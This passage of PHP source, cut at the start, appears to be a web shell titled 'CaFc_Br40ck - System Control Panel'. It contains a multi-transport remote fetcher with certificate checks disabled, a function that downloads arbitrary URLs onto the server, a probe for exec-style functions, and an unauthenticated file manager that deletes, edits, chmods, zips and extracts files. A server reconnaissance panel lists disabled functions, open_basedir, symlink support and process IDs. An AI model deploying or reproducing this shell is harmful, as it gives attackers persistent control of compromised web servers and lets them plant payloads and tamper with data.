true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_TIMEOUT => $timeout, CURLOPT_HEADER => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $data = curl_exec($ch); curl_close($ch); if ($data !== false && $data !== '') { return $data; } } if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => $timeout, 'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n" ] ]); $data = @file_get_contents($url, false, $context); if ($data !== false && $data !== '') { return $data; } } if (ini_get('allow_url_fopen')) { $fp = @fopen($url, 'r'); if ($fp) { stream_set_timeout($fp, $timeout); $data = stream_get_contents($fp); fclose($fp); if ($data !== false && $data !== '') { return $data; } } } $u = parse_url($url); if (!isset($u['host'])) { return false; } $scheme = $u['scheme'] ?? 'http'; $host = $u['host']; $path = ($u['path'] ?? '/') . (isset($u['query']) ? '?' . $u['query'] : ''); $port = ($scheme === 'https') ? 443 : 80; $fp = @fsockopen( ($scheme === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, $timeout ); if (!$fp) { return false; } stream_set_timeout($fp, $timeout); $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } fclose($fp); $parts = explode("\r\n\r\n", $response, 2); return $parts[1] ?? false; } function download_from_url($url, $filename = '') { $data = http_get($url); if ($data === false) { return "❌ Gagal mengunduh dari URL"; } if (empty($filename)) { $path = parse_url($url, PHP_URL_PATH); $filename = basename($path); if (empty($filename)) { $filename = 'downloaded_' . time() . '.txt'; } } if (@file_put_contents($filename, $data)) { $size = strlen($data); return "✅ Berhasil mengunduh: $filename ($size bytes)"; } else { return "❌ Gagal menyimpan file: $filename"; } } function check_functions() { $checks = []; $important_funcs = [ 'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open', 'curl_init', 'curl_exec', 'file_get_contents', 'fopen', 'fsockopen', 'move_uploaded_file', 'copy', 'rename', 'unlink', 'ini_set', 'set_time_limit', 'error_reporting' ]; foreach ($important_funcs as $func) { $checks[$func] = function_exists($func) ? '✅' : '❌'; } return $checks; } // FILE MANAGER FUNCTIONS function formatSize($bytes) { if ($bytes == 0) return "0 B"; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow]; } function rmdir_recursive($dir) { if (!file_exists($dir)) return true; $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { $path = $dir . '/' . $file; is_dir($path) ? rmdir_recursive($path) : unlink($path); } return rmdir($dir); } function addFolderToZip($zip, $folder, $base = '') { $files = array_diff(scandir($folder), array('.','..')); foreach ($files as $file) { $path = $folder . '/' . $file; $local = ($base ? $base . '/' : '') . $file; if (is_dir($path)) { $zip->addEmptyDir($local); addFolderToZip($zip, $path, $local); } else { $zip->addFile($path, $local); } } } function fileManager() { $current_dir = isset($_GET['dir']) ? $_GET['dir'] : '.'; // Security: prevent directory traversal $current_dir = realpath($current_dir) ?: getcwd(); // Handle actions if (isset($_GET['action'])) { $action = $_GET['action']; $target = isset($_GET['target']) ? $_GET['target'] : ''; switch ($action) { case 'delete': if (file_exists($target)) { if (is_dir($target)) { rmdir_recursive($target); $message = "✅ Directory deleted successfully"; } else { unlink($target); $message = "✅ File deleted successfully"; } } break; case 'rename': if (isset($_POST['new_name']) && file_exists($target)) { $new_name = dirname($target) . '/' . $_POST['new_name']; if (rename($target, $new_name)) { $message = "✅ Renamed successfully"; } } break; case 'edit': if (isset($_POST['content']) && file_exists($target) && is_file($target)) { if (file_put_contents($target, $_POST['content'])) { $message = "✅ File saved successfully"; } } break; case 'chmod': if (isset($_POST['permission']) && file_exists($target)) { if (chmod($target, octdec($_POST['permission']))) { $message = "✅ Permissions changed successfully"; } } break; case 'create_file': if (isset($_POST['filename'])) { $filename = $current_dir . '/' . $_POST['filename']; if (file_put_contents($filename, isset($_POST['filecontent']) ? $_POST['filecontent'] : '')) { $message = "✅ File created successfully"; } } break; case 'create_dir': if (isset($_POST['dirname'])) { $dirname = $current_dir . '/' . $_POST['dirname']; if (mkdir($dirname, 0755, true)) { $message = "✅ Directory created successfully"; } } break; case 'archive': if (isset($_POST['files']) && class_exists('ZipArchive')) { $zip = new ZipArchive(); $archive_name = isset($_POST['archive_name']) && !empty($_POST['archive_name']) ? $current_dir . '/' . $_POST['archive_name'] : $current_dir . '/archive_' . date('Y-m-d_H-i-s') . '.zip'; if ($zip->open($archive_name, ZipArchive::CREATE) === TRUE) { foreach ($_POST['files'] as $file) { $file_path = $current_dir . '/' . $file; if (is_file($file_path)) { $zip->addFile($file_path, $file); } elseif (is_dir($file_path)) { addFolderToZip($zip, $file_path, $file); } } $zip->close(); $message = "✅ Archive created: " . basename($archive_name); } } break; case 'unarchive': if (isset($_POST['archive_file']) && class_exists('ZipArchive')) { $archive_path = $current_dir . '/' . $_POST['archive_file']; $extract_path = isset($_POST['extract_path']) && !empty($_POST['extract_path']) ? $current_dir . '/' . $_POST['extract_path'] : $current_dir; if (!file_exists($extract_path)) { mkdir($extract_path, 0755, true); } $zip = new ZipArchive(); if ($zip->open($archive_path) === TRUE) { $zip->extractTo($extract_path); $zip->close(); $message = "✅ Archive extracted successfully"; } } break; case 'download': if (file_exists($target) && is_file($target)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } break; case 'view': if (file_exists($target) && is_file($target)) { $content = file_get_contents($target); header('Content-Type: text/plain'); echo $content; exit; } break; } } // Start output echo '
CaFc_Br40ck - System Control Panel | IP: ' . $client_ip . '
| Setting | Status | Setting | Status |
|---|---|---|---|
| PHP Version | ' . $php_version . ' | Safe Mode | ' . $safe_mode . ' |
| Magic Quotes | ' . $magic_quotes . ' | MySQL | ' . $mysql . ' |
| MSSQL | ' . $mssql . ' | PostgreSQL | ' . $pgsql . ' |
| Oracle | ' . $oracle . ' | Exec Function | ' . $exec . ' |
| Open Basedir | ' . $open_basedir . ' | Ini Restore | ' . $ini_restore . ' |
| Symlink | ' . $symlink . ' | File Get Contents | ' . $file_get_contents . ' |
| Memory Limit | ' . $memory_limit . ' | Upload Max Filesize | ' . $upload_max_filesize . ' |
| Max Execution Time | ' . $max_execution_time . 's | PHP SAPI | ' . $php_sapi . ' |
Disabled Functions:
'; $current_user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $pid = @getmypid(); echo 'Current User:
' . $current_user . 'UID:
' . $uid . 'GID:
' . $gid . 'PID:
' . $pid . '